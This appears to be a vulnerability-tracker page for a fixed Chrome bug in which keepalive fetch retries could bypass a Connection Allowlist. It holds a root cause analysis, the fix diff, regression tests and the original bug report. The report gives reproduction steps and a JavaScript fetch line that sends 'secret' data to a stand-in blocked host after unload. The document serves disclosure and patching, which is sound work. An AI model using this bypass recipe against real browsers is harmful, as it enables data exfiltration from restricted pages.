Medium watch CVSS 4.3 chrome Authorization Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactIncorrect authorization in Network
DescriptionIncorrect authorization in Network
ComponentNetwork
Sub-componentConnection-Allowlist
Bug ClassAuthorization Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker497338168
Fix commitf32637e666d6 (chromium/src) +121/-2
CWECWE-863
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-03-29 (per vendor advisory)
Fix landed2026-07-22 (public git)
Disclosed2026-08-25
Patch gap34 days — fix public in source before the advisory

Background

Keepalive fetch / `KeepAliveURLLoader`
A browser-process loader that keeps a fetch(..., {keepalive:true}) request alive after its renderer/document unloads, so the request (and configured retries) can complete without the originating page.
Fetch retry (`fetch_retry_options`)
Per-request options (max_attempts, max_age, retry_after_unload) that let a keepalive request be retried, including after the document has unloaded.
Connection Allowlist (C-A)
A per-document network restriction that blocks disallowed requests with an access-denied error; its restriction id is cleared roughly 60 seconds after unload.
`MaybeScheduleRetry` / `IsEligibleForRetry`
MaybeScheduleRetry decides whether to schedule a retry for a given completion status, delegating eligibility to IsEligibleForRetry, which consults IsNetErrorEligibleForRetry() and IsServerGuaranteedToBeNotReachedYet().

Root Cause Analysis

In keep_alive_url_loader.cc, when a renderer disconnected, the disconnect-handling path decided whether to keep the loader alive for a retry by calling MaybeScheduleRetry(/*completion_status=*/std::nullopt). Passing std::nullopt told MaybeScheduleRetry there was no prior completion result—i.e. the request had not yet failed—so it bypassed the eligibility check that would have consulted the actual error and scheduled a retry unconditionally. This dropped the original completion status, including a Connection Allowlist access-denied error that is ineligible for retry (its net error is in neither IsNetErrorEligibleForRetry() nor IsServerGuaranteedToBeNotReachedYet()); if the retry then ran after the document’s network restriction id was cleared (~60s post-unload), the previously blocked request would be permitted. The invariant violated is that a request blocked by an access-control error must not become retryable merely because the renderer disconnected and the original error was discarded.

The fix records the most recent attempt’s status in last_attempt_completion_status_ (set in the error/retry path, cleared to std::nullopt when a retry is scheduled) and, on disconnect, calls MaybeScheduleRetry(last_attempt_completion_status_) so the real error’s eligibility is evaluated: an ineligible C-A error now yields no retry and the loader is deleted, while a genuinely resultless request (std::nullopt) may still retry.

Key insight
The mistake was hard-coding std::nullopt as the completion status on the disconnect retry path, which discarded the original access-denied error and made an ineligible request retryable; the fix threads the real last_attempt_completion_status_ into MaybeScheduleRetry so retry eligibility is judged against the actual error.

Attack Path

  1. Issue a keepalive fetch with retry-after-unload A page starts a keepalive fetch whose fetch_retry_options set retry_after_unload = true (and a large max_attempts/max_age).
  2. Request is blocked by the Connection Allowlist The request completes with the C-A access-denied error (e.g. net::ERR_NETWORK_ACCESS_REVOKED), which is not eligible for retry; the loader is nonetheless kept alive to delay reporting the error.
  3. Trigger renderer disconnect The document unloads/navigates away, disconnecting the renderer and invoking the disconnect handler.
  4. Retry scheduled despite ineligible error Pre-patch, the handler called MaybeScheduleRetry(std::nullopt), discarding the access-denied status and scheduling a retry as if no failure had occurred.
  5. Retry runs after restriction lifts If the retry fires after the document’s network restriction id is cleared (~60 seconds after unload), the previously blocked request is permitted, bypassing the Connection Allowlist for that request.

Impact Assessment

An attacker-controlled page can cause a keepalive request that the Connection Allowlist blocked to be retried and ultimately allowed after unload, defeating the per-document network access restriction for that request in the browser process. The advisory classifies this as an AuthorizationError / “Incorrect authorization in Network”; the preconditions are a keepalive fetch configured with retry_after_unload and a subsequent renderer disconnect followed by expiry of the network restriction id. The advisory does not state exploitation in the wild, and any impact beyond the demonstrated allowlist bypass is (inferred).

Changed Functions

FunctionChangeNotes
TEST_F
content/browser/loader/keep_alive_url_loader_service_unittest.cc
modified
if
content/browser/loader/keep_alive_url_loader_service_unittest.cc
modified

Files Changed

  • content/browser/loader/keep_alive_url_loader_service_unittest.cc
  • content/browser/loader/keep_alive_url_loader.h
  • content/browser/loader/keep_alive_url_loader.cc

Audit Directions

  • Sentinel status/`std::nullopt` on error paths
    Look for retry, resend, or fallback logic that substitutes a “no result” sentinel for the real completion status, thereby skipping eligibility/authorization checks tied to the actual error.
  • State cleared on disconnect/unload
    Audit loaders and long-lived browser-process objects that outlive their renderer for security state (allowlists, restriction ids, error codes) that is dropped or reset on disconnect and then not re-evaluated before continuing work.
  • Time-window authorization
    Review any authorization keyed to a per-document id that expires after unload, ensuring deferred/retried operations re-check the original decision rather than benefiting from the id being cleared.
From f32637e666d60dcb31153d775cb431596887b852 Mon Sep 17 00:00:00 2001
From: Shivani Sharma <shivanisha@chromium.org>
Date: Wed, 22 Jul 2026 07:57:17 -0700
Subject: [PATCH] [Connection-Allowlist] KeepAlive Retry issue fix

KeepAliveURLLoader allows a blocked keepalive fetch request to schedule
a retry after the renderer disconnects by dropping the original
Connection Allowlist's access-denied error. If this retry occurs after
the document's network restriction id is cleared (60 seconds after
unload), it permits the previously blocked request.

The fix is to make sure that the initial error is checked before the
request is retried. Since C-A's error code is not in either of the
error code lists checked in IsNetErrorEligibleForRetry() or
IsServerGuaranteedToBeNotReachedYet(), the function
KeepAliveURLLoader::IsEligibleForRetry() returns false.

Bug: 497338168

Change-Id: If67f7ada74c5aba497ccae101b2413245439a533
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8130778
Reviewed-by: Kenichi Ishibashi <bashi@chromium.org>
Commit-Queue: Shivani Sharma <shivanisha@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1666296}
---
diff --git a/content/browser/loader/keep_alive_url_loader.cc b/content/browser/loader/keep_alive_url_loader.cc
index 4028c34..4264fd7 100644
--- a/content/browser/loader/keep_alive_url_loader.cc
+++ b/content/browser/loader/keep_alive_url_loader.cc
@@ -987,6 +987,7 @@
   // received another error signal after this (e.g. OnComplete with error
   // happened, then the disconnection triggers CancelWithStatus).
   url_loader_.reset();
+  last_attempt_completion_status_ = std::nullopt;
 
   // Set a timer to delete self when the max age has been reached. Note that
   // we check if the timer is already set here, because it could've been set
@@ -1216,6 +1217,7 @@
     return false;
   }
 
+  last_attempt_completion_status_ = status;
   // Schedule retry if needed.
   if (MaybeScheduleRetry(status)) {
     return true;
@@ -1359,7 +1361,7 @@
   if (resource_request_.fetch_retry_options.has_value() &&
       resource_request_.fetch_retry_options->retry_after_unload &&
       (IsAttemptingRetry(/*include_failed_retry=*/false) ||
-       MaybeScheduleRetry(/*completion_status=*/std::nullopt))) {
+       MaybeScheduleRetry(last_attempt_completion_status_))) {
     // A retry is already pending or we just scheduled a retry. Don't delete
     // the loader, and instead keep it around for the retry.
     return;
diff --git a/content/browser/loader/keep_alive_url_loader.h b/content/browser/loader/keep_alive_url_loader.h
index 896289e..cdc171a5 100644
--- a/content/browser/loader/keep_alive_url_loader.h
+++ b/content/browser/loader/keep_alive_url_loader.h
@@ -29,6 +29,7 @@
 #include "net/url_request/url_request.h"
 #include "services/metrics/public/cpp/ukm_source_id.h"
 #include "services/network/public/cpp/resource_request.h"
+#include "services/network/public/cpp/url_loader_completion_status.h"
 #include "services/network/public/mojom/url_loader.mojom.h"
 #include "services/network/public/mojom/url_response_head.mojom.h"
 #include "third_party/blink/public/common/features.h"
@@ -356,6 +357,10 @@
                            CookiesClearingWillDeleteRetryingLoader);
   FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest,
                            FailedMaxAttemptWillForwardLastError);
+  FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest,
+                           IneligibleErrorWillNotBeRetriedOnDisconnect);
+  FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest,
+                           NoResultWillBeRetriedOnDisconnect);
 
   // These values are persisted to logs. Entries should not be renumbered and
   // numeric values should never be reused.
@@ -506,6 +511,12 @@
   };
   RetryState retry_state_ = RetryState::kNotAttemptingRetry;
 
+  // Stores the completion status of the most recent attempt.
+  // Set in `RetryOrDelayErrorIfNeeded()` when an error occurs, and reset in
+  // `MaybeScheduleRetry()` when a retry is scheduled.
+  std::optional<network::URLLoaderCompletionStatus>
+      last_attempt_completion_status_;
+
   // The last delay used for `retry_timer_` to schedule a retry.
   base::TimeDelta last_retry_delay_;
 
diff --git a/content/browser/loader/keep_alive_url_loader_service_unittest.cc b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
index 350a1ec7..634c9f2 100644
--- a/content/browser/loader/keep_alive_url_loader_service_unittest.cc
+++ b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
@@ -1384,10 +1384,15 @@
   static constexpr base::TimeDelta kMinRetryDeltaForTesting = base::Seconds(10);
   static constexpr double kMinRetryBackoffFactorForTesting = 10.0;
   static constexpr base::TimeDelta kMaxRetryAgeForTesting = base::Days(1);
+  static constexpr base::TimeDelta kDisconnectedLoaderTimeoutForTesting =
+      base::Seconds(30);
 
   void SetUp() override {
     feature_list().InitWithFeaturesAndParameters(
-        {{blink::features::kKeepAliveInBrowserMigration, {}},
+        {{blink::features::kKeepAliveInBrowserMigration,
+          {{"disconnected_loader_timeout_seconds",
+            base::NumberToString(
+                kDisconnectedLoaderTimeoutForTesting.InSeconds())}}},
          {blink::features::kFetchRetry,
           {
               {"max_retry_count",
@@ -1975,4 +1980,105 @@
   EXPECT_FALSE(loader.get());
 }
 
+// Test that when a request completes with an error ineligible for retry, and
+// the renderer subsequently disconnects, the loader will not attempt to retry.
+TEST_F(KeepAliveURLLoaderServiceRetryTest,
+       IneligibleErrorWillNotBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Complete with an ineligible error.
+  loader->OnComplete(
+      network::URLLoaderCompletionStatus(net::ERR_NETWORK_ACCESS_REVOKED));
+
+  // The request is not eligible for retry, but the loader is kept alive to
+  // delay sending the error until max_age is reached.
+  EXPECT_FALSE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  // Disconnects and unbinds the receiver client & remote loader.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
+    run_loop.QuitWhenIdle();
+    run_loop.Run();
+  }
+
+  // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+  // runs.
+  task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+  // Because the previous completion status was an ineligible error,
+  // OnDisconnectedLoaderTimerFired should not schedule a retry and should
+  // delete the loader.
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 0u);
+  EXPECT_FALSE(loader.get());
+}
+
+// Test that when no completion result is received before renderer
+// disconnection, the loader will attempt a retry upon disconnect timer firing
+// if configured.
+TEST_F(KeepAliveURLLoaderServiceRetryTest, NoResultWillBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Disconnect without completing the request.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
+    run_loop.QuitWhenIdle();
+    run_loop.Run();
+  }
+
+  // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+  // runs.
+  task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+  // Because there was no completion status yet, OnDisconnectedLoaderTimerFired
+  // should schedule a retry and keep the loader alive.
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+  EXPECT_TRUE(loader.get());
+  if (loader) {
+    EXPECT_TRUE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+  }
+}
+
 }  // namespace content
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/content/browser/loader/keep_alive_url_loader_service_unittest.cc b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
index 350a1ec7..634c9f2 100644
--- a/content/browser/loader/keep_alive_url_loader_service_unittest.cc
+++ b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
@@ -1384,10 +1384,15 @@
   static constexpr base::TimeDelta kMinRetryDeltaForTesting = base::Seconds(10);
   static constexpr double kMinRetryBackoffFactorForTesting = 10.0;
   static constexpr base::TimeDelta kMaxRetryAgeForTesting = base::Days(1);
+  static constexpr base::TimeDelta kDisconnectedLoaderTimeoutForTesting =
+      base::Seconds(30);
 
   void SetUp() override {
     feature_list().InitWithFeaturesAndParameters(
-        {{blink::features::kKeepAliveInBrowserMigration, {}},
+        {{blink::features::kKeepAliveInBrowserMigration,
+          {{"disconnected_loader_timeout_seconds",
+            base::NumberToString(
+                kDisconnectedLoaderTimeoutForTesting.InSeconds())}}},
          {blink::features::kFetchRetry,
           {
               {"max_retry_count",
@@ -1975,4 +1980,105 @@
   EXPECT_FALSE(loader.get());
 }
 
+// Test that when a request completes with an error ineligible for retry, and
+// the renderer subsequently disconnects, the loader will not attempt to retry.
+TEST_F(KeepAliveURLLoaderServiceRetryTest,
+       IneligibleErrorWillNotBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Complete with an ineligible error.
+  loader->OnComplete(
+      network::URLLoaderCompletionStatus(net::ERR_NETWORK_ACCESS_REVOKED));
+
+  // The request is not eligible for retry, but the loader is kept alive to
+  // delay sending the error until max_age is reached.
+  EXPECT_FALSE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  // Disconnects and unbinds the receiver client & remote loader.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
+    run_loop.QuitWhenIdle();
+    run_loop.Run();
+  }
+
+  // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+  // runs.
+  task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+  // Because the previous completion status was an ineligible error,
+  // OnDisconnectedLoaderTimerFired should not schedule a retry and should
+  // delete the loader.
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 0u);
+  EXPECT_FALSE(loader.get());
+}
+
+// Test that when no completion result is received before renderer
+// disconnection, the loader will attempt a retry upon disconnect timer firing
+// if configured.
+TEST_F(KeepAliveURLLoaderServiceRetryTest, NoResultWillBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Disconnect without completing the request.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
+    run_loop.QuitWhenIdle();
+    run_loop.Run();
+  }
+
+  // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+  // runs.
+  task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+  // Because there was no completion status yet, OnDisconnectedLoaderTimerFired
+  // should schedule a retry and keep the loader alive.
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+  EXPECT_TRUE(loader.get());
+  if (loader) {
+    EXPECT_TRUE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+  }
+}
+
 }  // namespace content
Loading diff…

Original Bug Report

reported by vm...@google.com

Connection-Allowlist bypass via KeepAliveURLLoader retry state machine flaw

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A logic flaw in KeepAliveURLLoader allows a blocked keepalive fetch request to schedule a retry after the renderer disconnects by dropping the original access-denied error. If this retry occurs after the document’s network revocation nonce is cleared (60 seconds after unload), the network service’s fail-open design permits the previously blocked request. This enables potential data exfiltration from restricted contexts like Connection-Allowlists or Fenced Frames.

Affected files:

  • services/network/network_context.cc
  • content/browser/loader/keep_alive_url_loader.cc
  • services/network/cors/cors_url_loader_factory.cc
  • content/browser/storage_partition_impl.cc

Estimated timestamp from git blame: 2025-07-16

Summary

There is a potential security vulnerability in the interaction between the KeepAliveURLLoader retry mechanism and document-level network restrictions (like Connection-Allowlist or Fenced Frames). An attacker can bypass these network restrictions by intentionally triggering a blocked keepalive request, unloading the document, and forcing a delayed retry that executes after the document’s security nonce has been cleared from the network service.

Note: The steps described below are theoretical and based on codebase analysis; a working proof-of-concept has not been executed. This attack relies on the kConnectionAllowlists and kFetchRetry features being enabled.

Vulnerability Mechanics

  1. Initial Block: A restricted document initiates a fetch with keepalive: true and retryOptions: { retryAfterUnload: true, maxAge: 86400000 } to a blocked URL. The network service blocks it, sending net::ERR_NETWORK_ACCESS_REVOKED to KeepAliveURLLoader::OnComplete.
  2. Error Delayed: KeepAliveURLLoader::RetryOrDelayErrorIfNeeded checks if the error is retryable. It is not (fatal access error). However, because the renderer is still connected and maxAge hasn’t expired, the loader delays sending the error to avoid timing leaks, starting max_age_handler_timer_ and keeping the loader alive.
  3. Renderer Disconnect: The attacker navigates away, unloading the document. This disconnects the renderer from the KeepAliveURLLoader, starting a 30-second disconnected_loader_timer_. Simultaneously, StoragePartitionImpl schedules a 60-second delayed task to clear the document’s network revocation nonce in the Network Service.
  4. State Machine Flaw: When the 30-second disconnect timer fires, KeepAliveURLLoader::OnDisconnectedLoaderTimerFired sees retry_after_unload is true and calls MaybeScheduleRetry(/*completion_status=*/std::nullopt). Because no status is provided, it bypasses IsNetErrorEligibleForRetry, “forgetting” the fatal ERR_NETWORK_ACCESS_REVOKED error and forcefully scheduling a retry.
  5. Wait for NIK: The retry logic pauses because there is no active document with the original NetworkIsolationKey (NIK).
  6. Nonce Clearance: At 60 seconds, the Network Service clears the document’s nonce from NetworkContext::network_revocation_nonces_.
  7. Bypass: The attacker navigates back to the site, satisfying the NIK requirement. The retry resumes. NetworkContext::IsNetworkForNonceAndUrlAllowed evaluates the request, but because the nonce is no longer in network_revocation_nonces_, it falls back to its fail-open design and returns true. The request to the blocked URL succeeds.

Potential Reproduction Steps

  1. Ensure network::features::kConnectionAllowlists and blink::features::kFetchRetry are enabled.
  2. Serve a document at https://victim.test restricted by a Connection-Allowlist to only allow https://allowed.test/*.
  3. In the restricted document, execute the following JavaScript:
fetch('https://blocked.test/exfil?data=secret', {
  keepalive: true,
  retryOptions: {
    maxAttempts: 10,
    retryAfterUnload: true,
    maxAge: 86400000
  }
});
  1. Navigate the tab to about:blank.
  2. Wait for at least 65 seconds (to allow the 60-second nonce clearance timer to fire).
  3. Navigate the tab back to https://victim.test.
  4. Observe that the retry request is dispatched to https://blocked.test and succeeds, bypassing the allowlist.

Proposed Fix

  1. Fix KeepAliveURLLoader State Machine: In KeepAliveURLLoader::OnDisconnectedLoaderTimerFired, if the request previously completed with a fatal error (currently stored/pending via max_age_handler_timer_), do not call MaybeScheduleRetry(std::nullopt). It should use the actual stored completion status if one exists, which would correctly fail the IsNetErrorEligibleForRetry check.
  2. Harden NetworkContext: Consider changing the fail-open design of IsNetworkForNonceAndUrlAllowed. If a request arrives with an isolation_info.nonce(), and that nonce is completely unknown to the NetworkContext (because it was cleared), it might be safer to fail-closed or validate the lifecycle of the nonce against the request’s origin.

Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker